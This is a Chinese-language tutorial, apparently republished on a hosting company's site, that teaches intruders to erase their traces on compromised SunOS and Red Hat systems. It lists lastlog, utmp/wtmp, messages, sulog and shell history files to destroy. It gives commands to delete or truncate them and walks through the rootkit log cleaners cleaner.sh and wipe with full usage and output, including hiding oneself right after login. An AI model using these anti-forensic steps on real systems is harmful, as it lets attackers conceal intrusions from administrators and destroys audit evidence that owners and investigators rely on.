溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

日志的清除

發(fā)布時(shí)間:2020-04-14 01:52:45 來源:網(wǎng)絡(luò) 閱讀:758 作者:linkboy 欄目:系統(tǒng)運(yùn)維

由于涉及的系統(tǒng)廣泛的問題,不可能將所有unix類系統(tǒng)的日志說清楚,但它們大多是差不多的,下面我只用常見的sunos & redhat做介紹.其它的系統(tǒng)請查看相關(guān)資料.

unix系統(tǒng)日志文件通常是存放在"/var/log and /var/adm"目錄下的。通常我們可以查看syslog.conf來看看日志配置的情況.如:cat /etc/syslog.conf

其中sunos的在/var/log 和 /var/adm下.還有/usr/adm為/var/adm的的鏈接.

redhat的在/var/log 和 /var/run下.

下面的是sun os5.7中的日志樣本.

# ls /var/adm

acct    log      messages.1    passwd    sulog   vold.log

aculog   messages   messages.2    sa      utmp    wtmp

lastlog   messages.0  messages.3    spellhist   utmpx   wtmpx

 

# ls /var/log

authlog      syslog    syslog.1   syslog.3

sysidconfig.log  syslog.0   syslog.2   syslog.4

下面的是redhat6.2中的日志樣本.

# ls /var/log

boot.log   dmesg       messages.2    secure     uucp

boot.log.1  htmlaccess.log  messages.3    secure.1    wtmp

boot.log.2  httpd       messages.4    secure.2    wtmp.1

boot.log.3  lastlog      netconf.log   secure.3    xferlog

boot.log.4  mailllog      netconf.log.1  secure.4    xferlog.1

cron     maillog      netconf.log.2  sendmail.st   xferlog.2

cron.1    maillog.1     netconf.log.3  spooler     xferlog.3

cron.2    maillog.2     netconf.log.4  spooler.1    xferlog.4

cron.3    maillog.3     news       spooler.2

cron.4    maillog.4     normal.log    spooler.3

daily.log   messages     realtime.log   spooler.4

daily.sh   messages.1     samba       transfer.log

# ls /var/run

atd.pid    gpm.pid    klogd.pid   random-seed    treemenu.cache

crond.pid   identd.pid   netreport   runlevel.dir   utmp

ftp.pids-all inetd.pid   news      syslogd.pid

一般我們要清除的日志有

lastlog

utmp(utmpx)

wtmp(wtmpx)

messages

syslog


< type="text/javascript"> < src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript">
sulog

此外,各種shell還會記錄用戶使用的命令歷史,它使用用戶主目錄下的文件來記錄這些命令歷史,通常這個文件的名字為.sh_history(ksh),.history(csh),或.bash_history(bash)等。

 

一般把以上說的日志給擦一下,就可以了.:)

下面我來說說上面這些我們要清除的日志的相關(guān)資料和清除方法.更詳細(xì)的資料和其他的日志請你查看相關(guān)資料.

首先我們說說這幾種日志的功能.->它記錄的是什么?

lastlog

lastlog記錄每個用戶的最近一次的登陸時(shí)間和每個用戶的最初目的地.

當(dāng)一個用戶登陸到unix系統(tǒng)時(shí),注冊程序在lastlog文件中查找該用戶的uid ,如果該程序找到了該用戶的uid,unix就會顯示最后一次登陸的時(shí)間和TTY(終端號)

下面是一個例子:

SunOS 5.7

login: gao

Password:

No directory! Logging in with home=/

Last login: Sun Feb 4 22:18:25 from 211.167.1.24

Sun Microsys tems Inc. SunOS 5.7 Generic October 1998 $

.然后注冊程序用新的登陸時(shí)間和TTY信息更新lastlog文件,而且該程序帶更新utmp wtmp.文件.

utmp

utmp 日志記錄以前登陸到系統(tǒng)中的所有用戶.這個文件隨著用進(jìn)入和離開系統(tǒng)而不斷的變化.它還會為系統(tǒng)中的用戶保持很長的歷史記錄,utmp日志通常存儲在/etc/utmp,可以使用w 和who 命令查看utmp.但其他的一些命令也可以訪問這個文件.:)比如finger users.現(xiàn)在的utmp一般都有一個utmpx文件做為日志記錄的補(bǔ)充.別忘了擦這個pp哦.:)

wtmp

wtmp文件記錄用戶登陸和退出事件,它和utmp類似.但它隨著登陸的次數(shù)的增加它會變得越來越大.有些系統(tǒng)的ftp訪問也在這個文件里記錄.同時(shí)它也記錄正常的系統(tǒng)退出時(shí)間.可以使用last和ac命令訪問它.

syslog & messages

通過查看/etc/syslog.conf我們可以知道syslog記錄些什么.:)

很多各種各樣的程序產(chǎn)生的日志都由它記錄.

同時(shí)它還有一個syslogd進(jìn)程為它服務(wù).

在缺省時(shí),它把大多的信息傳給/var/adm/messages

sulog

sulog為切換用戶命令su的使用記錄日志.

他通常在/var/adm/sulog

如果你在機(jī)器上用過su命令,別忘了清除掉哦.:)

shell記錄

.sh_history(ksh),.history(csh),或.bash_history(bash)等,是shell執(zhí)行時(shí)的歷史記錄.記錄用戶執(zhí)行的命令.它一般存在于用戶的主目錄.別忘了去根目錄看看哦.我***機(jī)器時(shí),也經(jīng)常能發(fā)現(xiàn)別人的hacking記錄哦.:)所以你一定要記得清除.

1.日志都是一些文本形式的文件.最笨的方法是用文本編輯器來編輯日志文件.刪除相關(guān)的記錄.來達(dá)到擦拭腳印和隱藏自己的效果.

比如用vi等

但這樣做是很笨的.太麻煩,工作量太大.

如果有50臺機(jī)器要你處理,那么,呵呵....看你忙到什么時(shí)候

:)

2.以前我剛開始學(xué)unix時(shí).經(jīng)常用rm -f 來刪掉日志.比如rm -f /usr/adm/lastlog

呵呵 

這樣做是很蠢的.

更容易被管理員發(fā)現(xiàn)有人***.但是,相對來說自己還是保護(hù)好了.:)

可以用在一些不太重要的機(jī)器上.

3.用 > 定向符清除.

比如:

#cat > /usr/log/lastlog

   ->這里輸入你要的寫的東西.最好偽裝得像一些,也可以不輸入哦.:)

^d ->這里的^d是按鍵 ctrl + d.

#

如果上戰(zhàn)場沒有帶日志清除工具,我一般也用這個清除的.:)省事

要不找?guī)讉€舊的日志覆蓋它:)

==========================================================

4.當(dāng)然最好的是用日志清除工具.

輸入幾個命令讓程序幫你擦:)

a.常見的日志清除工具.

  一般的rootkit包里有的:z2.c 和wted.c

很容易找到.

網(wǎng)上的教程很多都是介紹這兩個工具的使用的.

這里我就不再論述了.:)節(jié)省時(shí)間.

b.這里我提供一個我以前有段時(shí)間常用的日志清除腳本.

在HUCkit.zip里的 cleaner.sh

我們這樣使用它

# chmod 755 cleaner.sh

# ./cleaner.sh

Log cleaner v0.5b By: Tragedy/Dor *

* Usage: cleaner.sh

# ./cleaner.sh username

其中,username 為你要清除日志的的用戶帳號.

:)

比如:

#./cleaner.sh gao

Log cleaner v0.5b By: Tragedy/Dor OS

detection....

Detected SunOS

---<[ Log cleaning in process....

* Cleaning aculog ( 0 lines)...0 lines removed!

* Cleaning lastlog ( 19789 lines)...45 lines removed!

* Cleaning messages ( 12 lines)...1 lines removed!

* Cleaning messages.0 ( 12 lines)...0 lines removed!

* Cleaning messages.1 ( 28 lines)...0 lines removed!

* Cleaning messages.2 ( 38 lines)...0 lines removed!

* Cleaning messages.3 ( 17 lines)...0 lines removed!

* Cleaning spellhist ( 0 lines)...0 lines removed!

* Cleaning sulog ( 986 lines)...6 lines removed!

* Cleaning utmp ( 179 lines)...1 lines removed!

* Cleaning utmpx ( 387 lines)...1 lines removed!

* Cleaning vold.log ( 0 lines)...0 lines removed!

* Cleaning wtmp ( 299 lines)...0 lines removed!

* Cleaning wtmpx ( 565 lines)...0 lines removed!

* Cleaning authlog ( 0 lines)...0 lines removed!

* Cleaning syslog ( 53 lines)...0 lines removed!

* Cleaning syslog.0 ( 14 lines)...0 lines removed!

* Cleaning syslog.1 ( 64 lines)...0 lines removed!

* Cleaning syslog.2 ( 39 lines)...0 lines removed!

* Cleaning syslog.3 ( 5 lines)...0 lines removed!

* Cleaning syslog.4 ( 3 lines)...0 lines removed!

* Cleaning syslog.5 ( 210 lines)...0 lines removed!

#

這個用/bin/sh的腳本有一個問題,

就是必須你要有uid =0 的權(quán)限.即root.

euid = 0 會不能正常工作,報(bào)告權(quán)限不夠.

解決方法是:

大家可以改里面的#!/usr/sh 為你設(shè)置好的suid shell.:)

這個腳本有一個好處,就是不用編譯,并且可以在多個系統(tǒng)下面工作.如redhat sunos等等.

還可以用

cat > clog.sh

來方便的拷貝到主機(jī).不用ftp 去?。海?/p>

還有一個命令可以清除大部分的日志.

這也是我常用它的原因.

但它做的太干凈了,把以前的記錄也刪除了.:(

有時(shí)候也會不太干凈.比如lastlog.utmp可能有時(shí)會清除不了.

所以,現(xiàn)在我一般結(jié)合兩個工具來清除日志.

好的一般放在后面介紹.:)

下面介紹一個我覺得比較好的另一個日志清除器.:)

在HUCkit.zip里的wipe-1.00.tgz.

他完全可以清除

lastlog

utmp

utmpx

wtmp

wtmpx

:)

下面我們來看看.(示范工作平臺sunos 5.7)

# gzip -d wipe-1.00.tgz

# tar -xf wipe-1.00.tar

# cd wipe-1.00

# ls -al

總數(shù)32

drwxr-xr-x  2  root  root     512   2月 4 20:48   .

drwxrwxrwx  6  root  other    1024   2月 4 18:40   ..

-rw-r--r--  1  root  root     130   1997 1月 9   INSTALL

-rw-r--r--  1  root  staff    1389   1997 1月 9   Makefile

-rw-r--r--  1  root  root     498   1997 1月 9   README

-rw-r--r--  1  root  staff   10027   1997 1月 9   wipe.c

# make

Wipe v0.01 !

Usage: 'make ' where sys tem types are:

   linux freebsd sunos4 solaris2 ultrix

   aix irix digital bsdi netbsd hpux

#

我們可以看到它需要出示 系統(tǒng)的選項(xiàng).這些選項(xiàng)是:

   linux freebsd sunos4 solaris2 ultrix

   aix irix digital bsdi netbsd hpux

我們要清除相關(guān)的系統(tǒng)日志就必須在相同的系統(tǒng)下編譯.

比如我們要在redhat等linux下編譯,就應(yīng)為: make linux

在freebsd下編譯就應(yīng)為:make freebsd

在sunos 4下編譯,就應(yīng)為: make sunos4

在sunos 5以上的系統(tǒng)里編譯,就應(yīng)為:make solaris2

這里我們用make solaris2

sunos 5 以上就叫做solaris了.

# make solaris2

gcc -O3 -DHAVE_LASTLOG_H -DHAVE_UTMPX -o wipe wipe.c

# ls -al

總數(shù)94

drwxr-xr-x  2  root  root   512   2月 4 21:03   .

drwxrwxrwx  6  root  other  1024   2月 4 18:40   ..

-rw-r--r--  1  root  root   130   1997 1月 9   INSTALL

-rw-r--r--  1  root  staff  1389   1997 1月 9   Makefile

-rw-r--r--  1  root  root    498   1997 1月 9   README

-rwxr-xr-x  1  root  other  30920   2月 4 21:03  wipe

-rw-r--r--  1  root  staff  10027   1997 1月 9   wipe.c

#./wipe

USAGE: wipe [ uwla ] ...options...

UTMP editing: Erase all usernames : wipe u [username]

   Erase one username on tty: wipe u [username] [tty]

WTMP editing: Erase last entry for user : wipe w [username]

   Erase last entry on tty : wipe w [username] [tty] LASTLOG

editing: Blank lastlog for user : wipe l [username] Alter lastlog

   entry : wipe l [username] [tty] [time] [host]

   Where [time] is in the format [YYMMddhhmm]

ACCT editing: Erase acct entries on tty : wipe a [username] [tty]

大家可以看到編譯好的wipe的使用方法.

其中 u 選項(xiàng)為 utmp utmpx 日志擦除..

w 選項(xiàng)為 wtmp wtmpx 日志擦除.

l 選項(xiàng)為 lastlog 日志擦除.

a 為/var/adm/pacct日志擦除.(一般不用這個.:)

其中[tty]為終端號.為在有多個相同帳號同時(shí)登陸時(shí),清除日志的使用選項(xiàng).當(dāng)然是要你的終端號哦.:)

大家可以用 w 命令查終端號.

比如:

# w

下午 9:15 1 user, 平均負(fù)荷: 0.00, 0.00, 0.01

用戶名   終端號   登入時(shí)間   閑置   JCPU   PCPU   執(zhí)行命令

gao    pts/1   下午 7:40        3          w

下面的是我在sunos 5.7上的具體的使用情況.:)

# w

下午 9:15 1 user, 平均負(fù)荷: 0.00, 0.00, 0.01

用戶名   終端號   登入時(shí)間   閑置   JCPU   PCPU   執(zhí)行命令

gao    pts/1   下午 7:40        3          w

# ./wipe u gao

Patching /var/adm/utmp .... Done.

Patching /var/adm/utmpx .... Done.

# w

下午 9:15 1 user, 平均負(fù)荷: 0.00, 0.00, 0.01

用戶名   終端號   登入時(shí)間   閑置   JCPU   PCPU   執(zhí)行命令

# ./wipe w gao

Patching /var/adm/wtmp .... Done.

Patching /var/adm/wtmpx .... Done.

# ./wipe l gao

Patching /var/adm/lastlog .... Done.

好了.

lastlog utmp utmpx wtmp wtmpx 擦完了.

大家看到 wipe u gao 了嗎?

為什么我打了個w命令呢?

呵呵

想想.

所以我們一般在登陸進(jìn)系統(tǒng)后就運(yùn)行 wipe u gao.來隱藏自己.:)

當(dāng)然我們不要忘了shell 記錄哦.

# ls -al /.*history

-rw------- 1 root other 456 2月 4 20:27 .sh_history

# rm -f .*history

# cd

# pwd

/home/gao

# ls -al /.*history

-rw------- 1 root other 456 2月 4 20:27 .sh_history

# rm -f .*history

ok, 一個腳本加一個程序.再加一個操作,能保證你基本安全了.:)

當(dāng)然如果你對系統(tǒng)有進(jìn)一步了解,就能發(fā)現(xiàn).這樣清除還是有問題的.:) 


 

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI